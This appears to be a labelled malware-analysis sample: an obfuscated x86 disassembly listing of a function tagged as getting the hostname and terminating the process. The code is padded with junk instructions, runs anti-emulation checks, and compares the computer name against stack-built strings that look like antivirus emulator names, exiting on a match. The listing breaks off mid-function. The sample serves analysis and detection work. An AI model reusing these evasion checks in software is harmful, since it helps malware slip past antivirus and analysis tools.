Function at 0x91f550
Capabilities:
Get hostname
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
xchg edi, eax
xchg edi, eax
pushfd
push ebx
add esp, 4
popfd
push 0x6400000
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
pushfd
push 0x23a27edd
add esp, 4
popfd
test eax, eax
pushfd
push 0x23e8a42a
add esp, 4
popfd
pushfd
xor ecx, 0x8c4c9922
xor ecx, 0x8c4c9922
popfd
je 0x9202db
xchg ecx, edx
xchg edx, ecx
mov dword [ebp - 0x41c], eax
pushfd
inc edi
dec edi
popfd
pushfd
push 0x46fad608
add esp, 4
popfd
push 0x6400000
push 0
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_memset]
add esp, 0xc
push edx
pop edx
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
pushfd
push ebx
add esp, 4
popfd
push 0x400
call dword [sym.imp.kernel32.dll_SetErrorMode]
push edi
pop edi
pushfd
push 0xb097f2d2
add esp, 4
popfd
push 0
call dword [sym.imp.kernel32.dll_SetErrorMode]
push edi
pop edi
cmp eax, 0x400
pushfd
push ecx
add esp, 4
popfd
jne 0x9202db
pushfd
inc edx
dec edx
popfd
xchg edx, ecx
xchg ecx, edx
push 0
push 4
push 0x3000
push 0x3e8
push 0
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_VirtualAllocExNuma]
xchg ebx, ebx
push edx
pop edx
test eax, eax
xchg ecx, eax
xchg ecx, eax
je 0x9202db
xchg esi, eax
xchg esi, eax
mov dword [ebp - 0x20e], 0x104
xchg esi, esi
pushfd
inc edx
dec edx
popfd
lea eax, [ebp - 0x313]
pushfd
inc edi
dec edi
popfd
xchg ebx, ebx
lea ebx, [ebp - 0x20e]
xchg ebx, edi
xchg edi, ebx
xchg edx, eax
xchg edx, eax
push ebx
push eax
call dword [sym.imp.kernel32.dll_GetComputerNameA]
pushfd
push 0x4e2533b9
add esp, 4
popfd
test eax, eax
pushfd
push 0xf90fdd5f
add esp, 4
popfd
xchg edx, esi
xchg esi, edx
je 0x91f9a7
nop
pushfd
xor ebx, 0xa25ee266
xor ebx, 0xa25ee266
popfd
lea eax, [ebp - 0x418]
pushfd
inc edx
dec edx
popfd
mov eax, eax
mov ebx, 0x61
pushfd
push ebx
add esp, 4
popfd
xchg ebx, edx
xchg edx, ebx
sub bl, 0x13
nop
mov byte [eax], bl
push edx
push edi
pop edi
pop edx
push ecx
push ebx
pop ebx
pop ecx
add bl, 0x18
mov eax, eax
mov byte [eax + 1], bl
pushfd
push eax
add esp, 4
popfd
sub bl, 0xc
pushfd
push esi
add esp, 4
popfd
mov edi, edi
mov byte [eax + 2], bl
pushfd
inc esi
dec esi
popfd
pushfd
push edx
add esp, 4
popfd
add bl, 0x1a
xchg ecx, ecx
mov byte [eax + 3], bl
xchg ebx, esi
xchg esi, ebx
xchg ebx, ebx
sub bl, 0x2e
pushfd
push 0x5bf98910
add esp, 4
popfd
xchg edi, eax
xchg edi, eax
mov byte [eax + 4], bl
xchg ecx, ecx
pushfd
push edx
add esp, 4
popfd
add bl, 0x1c
xchg edx, edx
push edi
push ecx
pop ecx
pop edi
mov byte [eax + 5], bl
pushfd
inc ebx
dec ebx
popfd
sub bl, 0x12
xchg edx, edx
nop
mov byte [eax + 6], bl
xchg esi, esi
mov ebx, ebx
add bl, 0x16
pushfd
xor eax, 0xc6df5139
xor eax, 0xc6df5139
popfd
xchg ecx, edx
xchg edx, ecx
mov byte [eax + 7], bl
pushfd
xor ebx, 0xce9da23e
xor ebx, 0xce9da23e
popfd
sub bl, 0x1e
mov edi, edi
xchg ebx, ebx
mov byte [eax + 8], bl
xchg edx, eax
xchg edx, eax
push ebx
push esi
pop esi
pop ebx
mov byte [eax + 9], 0
pushfd
push esi
add esp, 4
popfd
lea ebx, [ebp - 0x313]
push edx
push eax
pop eax
pop edx
pushfd
xor ecx, 0x4f88e969
xor ecx, 0x4f88e969
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
inc edx
dec edx
popfd
xchg ebx, ebx
test eax, eax
push esi
push edi
pop edi
pop esi
pushfd
push esi
add esp, 4
popfd
je 0x9202db
push ebx
pop ebx
xchg edx, esi
xchg esi, edx
lea eax, [ebp - 0x418]
xchg ecx, ebx
xchg ebx, ecx
mov ebx, 0x61
pushfd
push 0xd0ad451d
add esp, 4
popfd
sub bl, 0x1c
pushfd
push 0x3ceb0ca2
add esp, 4
popfd
mov byte [eax], bl
xchg ebx, ebx
push ecx
push eax
pop eax
pop ecx
add bl, 7
push ecx
push edx
pop edx
pop ecx
mov byte [eax + 1], bl
push edx
push esi
pop esi
pop edx
pushfd
push edx
add esp, 4
popfd
sub bl, 3
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 2], bl
xchg edx, ecx
xchg ecx, edx
pushfd
xor eax, 0xd8b43631
xor eax, 0xd8b43631
popfd
sub bl, 6
pushfd
xor eax, 0x1b37cbb3
xor eax, 0x1b37cbb3
popfd
push ebx
push edi
pop edi
pop ebx
mov byte [eax + 3], bl
pushfd
push 0x75ddf4fa
add esp, 4
popfd
nop
add bl, 0x17
push edx
pop edx
pushfd
xor esi, 0xb06a25ab
xor esi, 0xb06a25ab
popfd
mov byte [eax + 4], bl
pushfd
push ebx
add esp, 4
popfd
push ebx
push edi
pop edi
pop ebx
mov byte [eax + 5], 0
pushfd
inc ebx
dec ebx
popfd
lea ebx, [ebp - 0x313]
nop
pushfd
push 0x6afb5b8f
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
xchg edi, eax
xchg edi, eax
test eax, eax
pushfd
inc edx
dec edx
popfd
je 0x9202db
pushfd
inc ecx
dec ecx
popfd
lea eax, [ebp - 0x418]
xchg esi, edx
xchg edx, esi
mov ebx, 0x61
pushfd
inc ebx
dec ebx
popfd
add bl, 0x13
pushfd
push esi
add esp, 4
popfd
mov byte [eax], bl
push edi
pop edi
add bl, 6
mov edx, edx
xchg edi, eax
xchg edi, eax
mov byte [eax + 1], bl
pushfd
inc edx
dec edx
popfd
mov byte [eax + 2], 0
pushfd
xor edi, 0x6f011e65
xor edi, 0x6f011e65
popfd
pushfd
inc edi
dec edi
popfd
lea ebx, [ebp - 0x313]
pushfd
inc eax
dec eax
popfd
xchg ecx, esi
xchg esi, ecx
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
inc ecx
dec ecx
popfd
test eax, eax
push edx
pop edx
je 0x9202db
push eax
push ecx
pop ecx
pop eax
xchg esi, edi
xchg edi, esi
lea eax, [ebp - 0x418]
push ecx
push ebx
pop ebx
pop ecx
mov edi, edi
mov ebx, 0x61
mov esi, esi
pushfd
push 0xfd8f7569
std